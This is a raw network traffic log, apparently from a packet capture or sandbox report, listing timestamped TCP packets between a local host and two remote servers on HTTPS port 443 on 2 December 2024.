Dec 2, 2024 17:57:13.504302025 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.504935026 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.504955053 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.505405903 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.505412102 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.584403038 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:13.584434986 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:13.584520102 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:13.584724903 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:13.584738970 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:13.732541084 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.735683918 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.735742092 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.735855103 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.735876083 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.735887051 CET	49919	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.735892057 CET	443	49919	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.738451004 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.738492966 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.738579988 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.738708973 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.738723993 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.929435968 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.929970026 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.930003881 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.930309057 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.930315018 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.950237989 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.953351021 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.953509092 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.953510046 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.953510046 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.955859900 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.955955982 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:13.956043959 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.956176043 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:13.956196070 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.228126049 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.228526115 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.228552103 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.229068995 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.229074955 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.255172014 CET	49920	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.255188942 CET	443	49920	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.368002892 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.371114016 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.371198893 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.371247053 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.371247053 CET	49921	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.371273041 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.371282101 CET	443	49921	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.373651981 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.373702049 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.373778105 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.373929024 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.373938084 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.825504065 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.828619003 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.828680038 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.828735113 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.828752041 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.828764915 CET	49922	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.828769922 CET	443	49922	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.832470894 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.832504034 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.832570076 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.832691908 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.832705021 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.958823919 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.959451914 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.959470987 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:14.960799932 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:14.960804939 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.368299961 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:15.368911982 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:15.368930101 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:15.369271040 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:15.370075941 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:15.370136976 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:15.411556005 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:15.470521927 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.473511934 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.473576069 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.473742008 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.473742008 CET	49923	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.473762989 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.473773003 CET	443	49923	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.478400946 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.478450060 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.478533030 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.478715897 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.478730917 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.523523092 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.524143934 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.524171114 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.525387049 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.525393009 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.744590998 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.745249033 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.745280981 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.746592045 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.746598005 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.970794916 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.973732948 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.973779917 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.973886013 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.973886013 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.973972082 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.973992109 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.974001884 CET	49925	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.974005938 CET	443	49925	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.976376057 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.976412058 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:15.976492882 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.976644993 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:15.976660013 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.156435013 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.156924009 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.156951904 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.157356024 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.157361031 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.198936939 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.202085018 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.202256918 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.202256918 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.202256918 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.204737902 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.204766989 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.204854012 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.204999924 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.205010891 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.505146980 CET	49926	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.505179882 CET	443	49926	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.600759983 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.604324102 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.604542017 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.604630947 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.604644060 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.604691029 CET	49927	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.604696035 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.611015081 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.611046076 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.611183882 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.611618042 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.611633062 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.623949051 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.624902964 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.624913931 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:16.626116037 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:16.626121044 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.069114923 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.071471930 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.071580887 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.071676970 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.071693897 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.071721077 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.071727037 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.076220989 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.076268911 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.076401949 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.076762915 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.076776981 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.263835907 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.264553070 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.264590979 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.265059948 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.265064955 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710376024 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710396051 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710460901 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.710494041 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710715055 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.710721970 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710737944 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.710794926 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710887909 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710920095 CET	443	49929	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.710958958 CET	49929	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.711219072 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.711232901 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.711833000 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.711838961 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.713968992 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.714008093 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:17.714095116 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.714237928 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:17.714251995 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.077743053 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.078210115 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.078257084 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.078639984 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.078644991 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.198415995 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.198450089 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.198530912 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.198559046 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.198594093 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.200491905 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.200521946 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.200534105 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.200541019 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.203819990 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.203865051 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.203938007 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.204196930 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.204212904 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.459956884 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.460438013 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.460464001 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.460885048 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.460890055 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.531840086 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.535196066 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.535245895 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.535295010 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.535331011 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.535388947 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.535410881 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.535422087 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.535428047 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.538280010 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.538301945 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.538358927 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.538497925 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.538511992 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.914099932 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.917563915 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.917627096 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.917655945 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.917673111 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.917684078 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.917689085 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.920245886 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.920279980 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.920350075 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.920476913 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.920490980 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.925013065 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.925359964 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.925393105 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:18.925808907 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:18.925815105 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.370805979 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.374207020 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.374253988 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.374265909 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.374315023 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.374361992 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.374381065 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.374391079 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.374396086 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.377060890 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.377105951 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.377199888 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.377356052 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.377370119 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.592252016 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.593161106 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.593188047 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:19.593641043 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:19.593647003 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.046402931 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.049542904 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.049762011 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.049798012 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.049798012 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.049820900 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.049829006 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.055290937 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.055330038 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.055463076 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.055902004 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.055917025 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.066665888 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.067575932 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.067603111 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.068125010 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.068130016 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.417773962 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.418720961 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.418747902 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.419106007 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.419111013 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.529926062 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.529948950 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.530149937 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.530169964 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.530664921 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.530670881 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.530750990 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.530822039 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.530857086 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.530950069 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.535759926 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.535785913 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.535932064 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.536393881 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.536405087 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.696666002 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.697681904 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.697695017 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.699146986 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.699151993 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.871579885 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.874479055 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.874600887 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.874627113 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.874716043 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.874905109 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.874919891 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.880702019 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.880740881 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:20.880867004 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.881319046 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:20.881334066 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.132528067 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.134771109 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.134835005 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.134862900 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.135011911 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.135139942 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.135159016 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.140919924 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.140945911 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.141016960 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.141155005 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.141164064 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.221892118 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.222917080 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.222943068 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.223736048 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.223740101 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.677270889 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.680270910 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.680344105 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.680385113 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.680402040 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.680411100 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.680416107 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.683351994 CET	49943	443	192.168.2.4	13.107.246.63
